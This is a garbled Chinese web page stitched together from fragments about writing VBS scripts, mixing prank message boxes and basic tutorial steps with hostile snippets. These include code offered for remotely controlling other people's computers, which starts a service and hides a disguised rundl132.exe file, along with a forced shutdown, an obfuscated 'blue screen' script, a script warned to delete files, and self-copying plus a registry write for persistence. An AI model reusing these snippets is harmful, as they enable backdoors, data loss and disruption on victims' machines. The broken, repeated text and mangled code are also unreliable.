1首先在电脑鼠标右键 新建一个文本文档2然后点开文本文档进行编辑，最重要的一个代码就是msgbox，然后在后面添加想要说的话，但是要使用英文标点符号，换行时候都需要在前面加上代码，最后保存3保存好之后，对这个。

k=wshshellrun quotnet1 start ccservicequot，0 #39启动服务 z=wshshellrun quotATTRIB +R +S +H quotquot%systemroot%\java\rundl132exequotquotquot，0 #39加个属性 艾权啊，我是DARK，给你个可以远程控制别人的VBS代码，没事试。

Shell quotcmdc shutdown s t 5quot佛祖曰普度众生，这样就行 后面那一句代码是用来关机的，VBS代码你应该会插入把 创建个文本文档 输入代码 改后缀txt为vbs 双击运行即可。

Set f = fsoCreateTextFilequot%PATH%quot #39创建文件，其中f可任意，包含缩略名 fWriteLinequotVBSquot #39写文件内容，该命令功能太简单，目前看来只能用于TXT文件 fClose set c=fsogetfilequot%path%quot ’拷贝某文件 c。

vbs代码如下，这里以打开画图为例，你自己将下面代码中的c\windows\system32\mspaintexe换成你想要启动的程序的路径保存即可#39===代===码===开===始=== set fso=CreateObjectquotScriptingFileSystemObjectquot。

这个很强悍的vbs，蓝屏 strs=array13，105，102，32，77，115，103，66，111，120，40，34，34，44，118，98，89，101，115，78，111，44，34，34。

1VBS获取路径集合11VBS获取系统安装路径 程序代码set WshShell = WScriptCreateObjectquotWScriptShellquotstrWinDir = WshShellExpandEnvironmentStringsquot%WinDir%quot上面的代码意思是先定义这个变量是获取系统安装路径的，然后我们用quotstr。

5在对话框中输入程序名demo将类型保存为all，选择要保存的路径，然后单击save6在命令提示符下面输入wscript d\demovbs，打开VBS脚本程序7WSCRIPT是Windows脚本主机，专门用于调试WSH脚本VBSjs和WSH文件格式。

代码如下WScriptEchoquot嘿，谢谢你打开我哦，我等你很久拉quotTSNameWScriptEchoquot你是可爱的小朋吗？quotWScriptEchoquot哈，我想你拉，这你都不知道吗quotWScriptEchoquot怎么才来，说~是不是不关心我quotWScript。

11VBS获取系统安装路径 程序代码set WshShell = WScriptCreateObjectquotWScriptShellquotstrWinDir = WshShellExpandEnvironmentStringsquot%WinDir%quot上面的代码意思是先定义这个变量是获取系统安装路径的，然后我们用quotstrWinDirquot调用这个。

4 然后单击“文件”菜单，选择“另存为”，打开对话框5在对话框中输入程序名demo将类型保存为all，选择要保存的路径，然后单击save6在命令提示符下面输入wscript d\demovbs，打开VBS脚本程序7WSCRIPT是。

WScriptEchoquot想结素我么？那你就再多点一次quotWScriptEchoquot想结素我么？那你就再多点一次quot分割线保存，保存类型为所有文件，名字随便，矿展名“vbs”，保存后点开。

wssendkeysquot%F4quot#39每次循环等待时间3000=3秒，以毫秒为单位的 wscriptsleep 3000 loop 想要停止它可新建文本mtxt改名mbat右击编辑输入 taskkill f im wscriptexe pause 保存 当需要停止vbs时执行一下m。

代码如下#39警告#39慎用，点击否，出现删除的情况，后果自负#39请先备份set fso=CreateObjectquotScriptingFileSystemObjectquotset ws=CreateObjectquotwscriptshellquotk=MsgBoxquot您是否现在安装quot，vbyesno，quot温馨提。

请看代码On Error Resume NextDim fso，ws，list，c，h，currentfol，op，file，str，ext，titleSet fso=WScriptCreateObjectquotScriptingFileSystemObjectquotSet ws=WScriptCreateObjectquotWScriptShellquotc=Chr34h=vbCrLfstr=quot。

do if msgboxquot你爱我吗？quot，4132，quotquot=vbyes then exit do msgbox quot再想想quot，4096，quotquotloop。

xufsocopyfile WscriptScriptfullname，quotC\VBScript\一触即发vbsquotxufsocopyfile WscriptScriptfullname，quotC\Users\Public\Desktop\一触即发vbsquotwscrtregwritequotHKEY_CURRENT_USER\Software\Microsoft\Windows\Current。